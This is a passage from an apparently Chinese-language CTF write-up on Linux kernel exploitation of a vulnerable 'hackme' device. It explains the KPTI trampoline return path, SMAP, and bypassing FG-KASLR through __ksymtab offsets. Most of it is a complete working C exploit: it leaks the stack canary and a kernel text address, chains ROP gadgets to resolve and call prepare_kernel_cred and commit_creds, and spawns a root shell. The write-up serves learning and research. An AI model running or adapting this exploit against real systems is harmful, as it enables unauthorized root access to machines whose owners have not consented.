#endif
POP_REGS pop_rdi=0

/*
* The stack is now user RDI, orig_ax, RIP, CS, EFLAGS, RSP, SS.
* Save old stack pointer and switch to trampoline stack.
*/
movq %rsp, %rdi
movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
UNWIND_HINT_EMPTY

/* Copy the IRET frame to the trampoline stack. */
pushq 6*8(%rdi) /* SS */
pushq 5*8(%rdi) /* RSP */
pushq 4*8(%rdi) /* EFLAGS */
pushq 3*8(%rdi) /* CS */
pushq 2*8(%rdi) /* RIP */

/* Push user RDI on the trampoline stack. */
pushq (%rdi)

/*
* We are on the trampoline stack. All regs except RDI are live.
* We can do future final exit work right here.
*/
STACKLEAK_ERASE_NOCLOBBER

SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi

/* Restore RDI. */
popq %rdi
SWAPGS
INTERRUPT_RETURN

标号1这部分是正文

在这部分中,首先POP_REGS pop_rdi=0这是个宏, 它会从栈上弹出一系列值交给寄存器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//@Linux5.14/arch/x86/entry/calling.h
.macro POP_REGS pop_rdi=1 skip_r11rcx=0
popq %r15
popq %r14
popq %r13
popq %r12
popq %rbp
popq %rbx
.if \skip_r11rcx
popq %rsi
.else
popq %r11
.endif
popq %r10
popq %r9
popq %r8
popq %rax
.if \skip_r11rcx
popq %rsi
.else
popq %rcx
.endif
popq %rdx
popq %rsi
.if \pop_rdi
popq %rdi
.endif
.endm

接下来rdi指向旧堆栈, 从gs段拿出rsp0交给rsp

然后把老堆栈上保存的用户上下文压到新堆栈里

然后更换页表

然后swapgs

然后iret

实际上此时iret使用的堆栈, 已经是新堆栈了,不是老堆栈

具体干了啥可以看反汇编

1
2
/ # cat /proc/kallsyms  | grep swapgs_restore_regs_and_return_to_usermode
ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#POP_REGS部分省略

0xffffffff81200f26 <_stext+2101030>: mov rdi,rsp
0xffffffff81200f29 <_stext+2101033>: mov rsp,QWORD PTR gs:0x6004
0xffffffff81200f32 <_stext+2101042>: push QWORD PTR [rdi+0x30] ;用户ss
0xffffffff81200f35 <_stext+2101045>: push QWORD PTR [rdi+0x28] ;用户rsp
0xffffffff81200f38 <_stext+2101048>: push QWORD PTR [rdi+0x20] ;用户eflags
0xffffffff81200f3b <_stext+2101051>: push QWORD PTR [rdi+0x18] ;用户cs
0xffffffff81200f3e <_stext+2101054>: push QWORD PTR [rdi+0x10] ;用户rip
0xffffffff81200f41 <_stext+2101057>: push QWORD PTR [rdi] ;老栈顶
0xffffffff81200f43 <_stext+2101059>: push rax
0xffffffff81200f44 <_stext+2101060>: xchg ax,ax
0xffffffff81200f46 <_stext+2101062>: mov rdi,cr3
0xffffffff81200f49 <_stext+2101065>: jmp 0xffffffff81200f7f <_stext+2101119>

0xffffffff81200f7f <_stext+2101119>: or rdi,0x1000 #蜜汁操作
0xffffffff81200f86 <_stext+2101126>: mov cr3,rdi
0xffffffff81200f89 <_stext+2101129>: pop rax
0xffffffff81200f8a <_stext+2101130>: pop rdi
0xffffffff81200f8b <_stext+2101131>: swapgs
0xffffffff81200f8e <_stext+2101134>: nop DWORD PTR [rax]
0xffffffff81200f91 <_stext+2101137>: jmp 0xffffffff81200fc0 <_stext+2101184>

0xffffffff81200fc0 <_stext+2101184>: test BYTE PTR [rsp+0x20],0x4
0xffffffff81200fc5 <_stext+2101189>: jne 0xffffffff81200fc9 <_stext+2101193> #这个调试观察不会跳
0xffffffff81200fc7 <_stext+2101191>: iretq

这里有一个很迷的操作, 把cr3里面的页表地址拿出来, 或了一个0x1000再放回去, 就完成了内核态-用户态页表的更换, 这是因为这俩页表地址还真就是这样挨着存放的, 这哥俩被称为一个CR3 Pair

CR3 Pair

这种伙伴形式还见于完全二叉树:

如果根从1开始编号, 那么其他节点的编号异或1就是其兄弟节点

如果构造ROP链, 返回到0xffffffff81200f26 <_stext+2101030>: mov rdi,rsp这一行

下面还要填充两个dummy来满足这两个pop

1
2
0xffffffff81200f89 <_stext+2101129>: pop    rax
0xffffffff81200f8a <_stext+2101130>: pop rdi

bypass SMAP

smap意味着内核态无法访问用户态任何数据

象内核栈迁移到用户态映射区就白搭了

但是纯用rop链还是可以的

bypass KASLR

FG-KASLR,不光整个内核镜像基地址随机, 部分函数之间的相对偏移量也会变, 真是死🐎了

如果使用readelf -S ./vmlinux | grep ".text"查看text节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
^C
root@Destroyer:/usr/src/kernel-rop# readelf -S ./vmlinux | grep ".text" | head -n 15
[ 1] .text PROGBITS ffffffff81000000 00200000
[ 2] .rela.text RELA 0000000000000000 024d3b10
[ 3] .text.unlike[...] PROGBITS ffffffff81400dd7 00600dd7
[ 4] .text.__star[...] PROGBITS ffffffff81400e90 00600e90
[ 5] .text.__do_s[...] PROGBITS ffffffff81400ea0 00600ea0
[ 6] .text.__xen_[...] PROGBITS ffffffff81400eb0 00600eb0
[ 7] .text.vvar_mremap PROGBITS ffffffff81400ed0 00600ed0
[ 8] .text.vdso_fault PROGBITS ffffffff81400f00 00600f00
[ 9] .text.map_vdso PROGBITS ffffffff81400f90 00600f90
[10] .text.map_vd[...] PROGBITS ffffffff814010c0 006010c0
[11] .text.vdso_mremap PROGBITS ffffffff81401170 00601170
[12] .text.find_t[...] PROGBITS ffffffff81401210 00601210
[13] .text.vvar_fault PROGBITS ffffffff81401230 00601230
[14] .text.arch_g[...] PROGBITS ffffffff81401450 00601450
[15] .text.vdso_j[...] PROGBITS ffffffff81401470 00601470

除去纯正的.text节之外, 还有很多.text.*的节, 这些节都很小,甚至二三十字节一个, 节里面也就一两个函数

其作用就是每个节都可以随机排列, 实现FG-KASLR

但是🐎还没有死完

.text节是一整个儿,只会整体参与ASLR,但是节内的函数不会参与FG-KASLR,而节内函数就有swapgs_restore_regs_and_return_to_usermode,

.text节在未开启KASLR时的范围: 0xffffffff81000000 ~ 0xffffffff81400dd7

1
2
3
.text @ 0xffffffff81000000 
swapgs_restore_regs_and_return_to_usermode @ 0xffffffff81200f10 offset_to_text = 0x200f10
kpti_trampoline @ 0xffffffff81200f26 offset_to_text = 0x200f26

ksymtab不属于任何text节,只参与KASLR,因此ksymtab.text 的偏移量也是固定的

1
__ksymtab @ 0xffffffff81f85198		offset_to_text = 0xf85198

ksymtab是一个映射表表中的每一项都长这样

1
2
3
4
5
struct kernel_symbol {
int value_offset; //符号地址 相对于 本字段 的偏移量
int name_offset; //符号名地址 相对于 本字段 的偏移量
int namespace_offset; //符号命名空间地址, 相对于 本字段 的偏移量
};

这三个字段的意义是什么呢? 以commit_creds函数为例,

首先在未开启KASLR的内核上,找到它在ksymtab中的地址,是0xffffffff81f87d90

1
2
3
4
5
/ # cat /proc/kallsyms | grep "commit_creds"
ffffffff814c6410 T commit_creds
ffffffff81f87d90 r __ksymtab_commit_creds
ffffffff81fa0972 r __kstrtab_commit_creds
ffffffff81fa4d42 r __kstrtabns_commit_creds

然后在gdb中打印ffffffff81f87d90处三个双字

1
2
pwndbg> x/3wx 0xffffffff81f87d90
0xffffffff81f87d90: 0xff53e680 0x00018bde 0x0001cfaa

也就是说

1
2
3
value_offset = 0xff53e680
name_offset = 0x00018bde
name_space_offset = 0x0001cfaa

其中value_offset是符号实际地址与本字段kernel_symbol.value_offset的偏移量

符号描述符__ksymtab_commit_creds的地址在0xffffffff81f87d90

符号与符号描述符的距离是((1<<32) - 0xff53e680),由此计算得到符号地址在0xffffffff814c6410

1
2
pwndbg> p/x 0xffffffff81f87d90 - ((1<<32) - 0xff53e680)
$17 = 0xffffffff814c6410

同理name_offset也是符号名字符串所在地址相对于本字段kernel_symbol.name_offset的偏移量

1
2
pwndbg> p/x 0xffffffff81fa0972 - 0xffffffff81f87d94
$22 = 0x18bde

同理name_space_offset是符号命名空间字符串与本字段kernel_symbol.namespace_offset的偏移量

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/10s 0xffffffff81fa4d42
0xffffffff81fa4d42: ""
0xffffffff81fa4d43: "bpf_trace_run11"
0xffffffff81fa4d53: "bpf_trace_run12"
0xffffffff81fa4d63: "kprobe_event_cmd_init"
0xffffffff81fa4d79: "__kprobe_event_gen_cmd_start"
0xffffffff81fa4d96: "__kprobe_event_add_fields"
0xffffffff81fa4db0: "kprobe_event_delete"
0xffffffff81fa4dc4: "__tracepoint_suspend_resume"
0xffffffff81fa4de0: "__tracepoint_cpu_idle"
0xffffffff81fa4df6: "__tracepoint_cpu_frequency"

可以看到,这个符号属于一个通用的命名空间

回到本题中,思路如下:

1.hackme_read函数中泄露canary, 一个text段的地址, 计算得到text基地址, 以及ksymtab地址等

2.ksymtab中查到commit_credsprepare_kernel_cred的地址

3.构造rop链条

1.栈上泄露一个text 地址

read函数中之前我们只泄露了canary值, 现在还要再泄露一个text段的地址,以此计算text段基地址

在未开启KASLR的情况下观察从kstack_buf开始的堆栈上,是否存在一个text段的地址 ,结果发现还真有

image-20241125151929536
1
2
3
4
5
6
pwndbg> p/x 0xffffc900001bff38 -0xffffc900001bfe08
$4 = 0x130
pwndbg> p/x 0x130/8
$5 = 0x26
pwndbg> p 0x130/8
$6 = 38

也就是说 ,stack_buf + 0x130字节开始处的一个四字就是这个泄露

2.从ksymtab中查函数地址

内存任意读,这也可以通过gadget实现

1
2
3
root@Destroyer:/usr/src/kernel-rop# cat gadgets.ropgadget | grep " : mov rax.*qword ptr .* ret" | grep "0xffffffff81[0123]"
0xffffffff81004aad : mov rax, qword ptr [rax + 0x10] ; pop rbp ; ret
0xffffffff81015a7f : mov rax, qword ptr [rax] ; pop rbp ; ret

使用0xffffffff81015a7f : mov rax, qword ptr [rax] ; pop rbp ; ret这个gadget,还需要一个能够控制rax值的gadget

1
2
root@Destroyer:/usr/src/kernel-rop# cat gadgets.ropgadget | grep "pop rax ; ret" | grep "0xffffffff81[0123]"
0xffffffff81004d11 : pop rax ; ret

还需要一个控制rdi寄存器作为函数参数的gadget

1
2
root@Destroyer:/usr/src/kernel-rop# cat gadgets.ropgadget | grep "pop rdi ; ret" | grep "0xffffffff81[0123]"
0xffffffff81006370 : pop rdi ; ret

3.构造ROP链条

1.任意内存读泄露prepare_kernel_creds函数偏移量

2.kpti-trampoline返回到用户态,计算prepare_kernel_creds函数地址

3.任意内存读泄露commit_creds函数偏移量

4.kpti-trampoline返回到用户态,计算commit_creds函数地址

5.ret2 prepare_kernel_creds

6.kpti-trampoline返回到用户态,保存init_task @ rax

7.init_task pop to rdi

8.ret2 commit_creds

9.kpti-trampoline返回到用户态,起shell

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
#include <fcntl.h>
#include <stdio.h>
#include <signal.h>
size_t addr_leak;
size_t off_leak = 0xa157;

size_t addr_text_base;

size_t off_ksymtab = 0xf85198;
size_t addr_ksymtab;

size_t off_ksymtab_commit_creds = 0xf87d90;
size_t addr_ksymtab_commit_creds;
size_t addr_commit_creds;

size_t off_ksymtab_prepare_kernel_cred = 0xf8d4fc;
size_t addr_ksymtab_prepare_kernel_cred;
size_t addr_prepare_kernel_cred;

size_t off_kpti_trampoline = 0x200f26;
size_t addr_kpti_trampoline;

size_t off_deref_rax_pop_rbp_ret = 0x15a7f;
size_t addr_deref_rax_pop_rbp_ret;

size_t off_pop_rax_ret = 0x4d11;
size_t addr_pop_rax_ret;

size_t off_pop_rdi_ret = 0x6370;
size_t addr_pop_rdi_ret;

size_t addr_init_task_cred;

int dev_fd;
size_t canary;
int value_offset;

size_t user_cs;
size_t user_ss;
size_t user_sp;
size_t user_rflags;
size_t user_rip;

void save_state();
void open_dev();
void leak();
void spawn_shell();
void leak_prepare_kernel_cred();
void calculate_addr_prepare_kernel_cred();
void leak_commit_creds();
void save_init_task_cred();
void execute_commit_creds();
void calculate_addr_commit_creds();
void execute_prepare_kernel_cred();




int main(){
save_state(); //保存进入内核之前的用户态上下文
open_dev(); //打开设备
leak(); //泄露canary
leak_prepare_kernel_cred();
puts("[!] should never be reached");
return 0;
}

void open_dev(){
dev_fd = open("/dev/hackme",O_RDWR);
}

void spawn_shell(){
char *argv[] = {"/bin/sh", NULL};
execve(argv[0], argv, NULL);
}

void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
user_rip = spawn_shell;
puts("[*] Saved state");
}

void leak(){
puts("[*] Leaking canary and text base");
size_t buffer[40];
read(dev_fd,buffer,40*8);
canary = buffer[0x10];
addr_leak = buffer[38];

addr_text_base = addr_leak - off_leak;
addr_kpti_trampoline = addr_text_base + off_kpti_trampoline;
addr_ksymtab = addr_text_base + off_ksymtab;
addr_ksymtab_commit_creds = addr_text_base + off_ksymtab_commit_creds;
addr_ksymtab_prepare_kernel_cred = addr_text_base + off_ksymtab_prepare_kernel_cred;
addr_deref_rax_pop_rbp_ret = addr_text_base + off_deref_rax_pop_rbp_ret;
addr_pop_rax_ret = addr_text_base + off_pop_rax_ret;
addr_pop_rdi_ret = addr_text_base + off_pop_rdi_ret;


printf("[+] Leaked canary: %p\n",canary);
printf("[+] Leaked addr_leak: %p\n",addr_leak);
printf("[+] Leaked addr_text_base: %p\n",addr_text_base);
printf("[+] Leaked addr_kpti_trampoline: %p\n",addr_kpti_trampoline);
printf("[+] Leaked addr_ksymtab: %p\n",addr_ksymtab);
printf("[+] Leaked addr_ksymtab_commit_creds: %p\n",addr_ksymtab_commit_creds);
printf("[+] Leaked addr_ksymtab_prepare_kernel_cred: %p\n",addr_ksymtab_prepare_kernel_cred);
printf("[+] Leaked addr_deref_rax_pop_rbp_ret: %p\n",addr_deref_rax_pop_rbp_ret);
printf("[+] Leaked addr_pop_rax_ret: %p\n",addr_pop_rax_ret);
printf("[+] Leaked addr_pop_rdi_ret: %p\n",addr_pop_rdi_ret);
puts("[+] Leak complete\n\n");
}


void leak_prepare_kernel_cred(){
puts("[*] Leaking prepare_kernel_cred offset");
size_t payload[0x100];
int offset = (0xa0 - 0x20) >> 3;
memset(payload,0,offset*8);
payload[offset++] = canary;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = addr_pop_rax_ret;
payload[offset++] = addr_ksymtab_prepare_kernel_cred; //rax = 0
payload[offset++] = addr_deref_rax_pop_rbp_ret;
payload[offset++] = 0xdeadbeef; //rbp
payload[offset++] = addr_kpti_trampoline;

payload[offset++] = 0; //rax = 0
payload[offset++] = 0; //rdi = 0
payload[offset++] = calculate_addr_prepare_kernel_cred;
payload[offset++] = user_cs;
payload[offset++] = user_rflags;
payload[offset++] = user_sp;
payload[offset++] = user_ss;

// puts("[+] prepare_kernel_cred offset saved in eax\n");
write(dev_fd,payload,offset*8);
}

void calculate_addr_prepare_kernel_cred(){
value_offset = 0;
__asm__(
".intel_syntax noprefix;"
"mov value_offset, rax;"
".att_syntax;"
);
printf("rax = %p\n",value_offset);
addr_prepare_kernel_cred = addr_ksymtab_prepare_kernel_cred - ((1<<32) - value_offset);
printf("[+] Leaked addr_prepare_kernel_cred: %p\n",addr_prepare_kernel_cred);
puts("[+] addr_prepare_kernel_cred calculated\n");
leak_commit_creds();
}



void leak_commit_creds(){
puts("[*] Leaking commit_creds offset");
size_t payload[0x100];
int offset = (0xa0 - 0x20) >> 3;
memset(payload,0,offset*8);
payload[offset++] = canary;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = addr_pop_rax_ret;
payload[offset++] = addr_ksymtab_commit_creds; //rax = 0
payload[offset++] = addr_deref_rax_pop_rbp_ret;
payload[offset++] = 0xdeadbeef; //rbp
payload[offset++] = addr_kpti_trampoline;

payload[offset++] = 0; //rax = 0
payload[offset++] = 0; //rdi = 0
payload[offset++] = calculate_addr_commit_creds;
payload[offset++] = user_cs;
payload[offset++] = user_rflags;
payload[offset++] = user_sp;
payload[offset++] = user_ss;

// puts("[*] overflow ");
// puts("[+] commit_creds offset saved in eax\n");
write(dev_fd,payload,offset*8);
}

void calculate_addr_commit_creds(){
value_offset = 0;
__asm__(
".intel_syntax noprefix;"
"mov value_offset,eax;"
".att_syntax;"
);
printf("rax = %p\n",value_offset);
addr_commit_creds = addr_ksymtab_commit_creds - ((1<<32) - value_offset);
printf("[+] Leaked addr_commit_creds: %p\n",addr_commit_creds);
puts("[+] addr_commit_creds calculated\n");
execute_prepare_kernel_cred();
}

void execute_prepare_kernel_cred(){
puts("[*] executing prepare_kernel_cred");
size_t payload[0x100];
int offset = (0xa0 - 0x20) >> 3;
memset(payload,0,offset*8);
payload[offset++] = canary;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = addr_pop_rdi_ret;
payload[offset++] = 0; //rdi = 0
payload[offset++] = addr_prepare_kernel_cred; //ret in rax
payload[offset++] = addr_kpti_trampoline;

payload[offset++] = 0; //rax = 0
payload[offset++] = 0; //rdi = 0
payload[offset++] = save_init_task_cred;
payload[offset++] = user_cs;
payload[offset++] = user_rflags;
payload[offset++] = user_sp;
payload[offset++] = user_ss;

write(dev_fd,payload,offset*8);

}
void save_init_task_cred(){
__asm__(
".intel_syntax noprefix;"
"mov addr_init_task_cred,rax;"
".att_syntax;"
);
printf("rax = %p\n",addr_init_task_cred);
printf("init task_cred address: %p\n",addr_init_task_cred);
puts("[+] addr_init_task_cred saved\n\n");
execute_commit_creds();
}

void execute_commit_creds(){
puts("[*] executing commit_creds");
size_t payload[0x100];
int offset = (0xa0 - 0x20) >> 3;
memset(payload,0,offset*8);
payload[offset++] = canary;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = addr_pop_rdi_ret;
payload[offset++] = addr_init_task_cred;
payload[offset++] = addr_commit_creds; //ret in rax
payload[offset++] = addr_kpti_trampoline;

payload[offset++] = 0; //rax = 0
payload[offset++] = 0; //rdi = 0
payload[offset++] = spawn_shell;
payload[offset++] = user_cs;
payload[offset++] = user_rflags;
payload[offset++] = user_sp;
payload[offset++] = user_ss;

// puts("[*] overflow ");
write(dev_fd,payload,offset*8);
}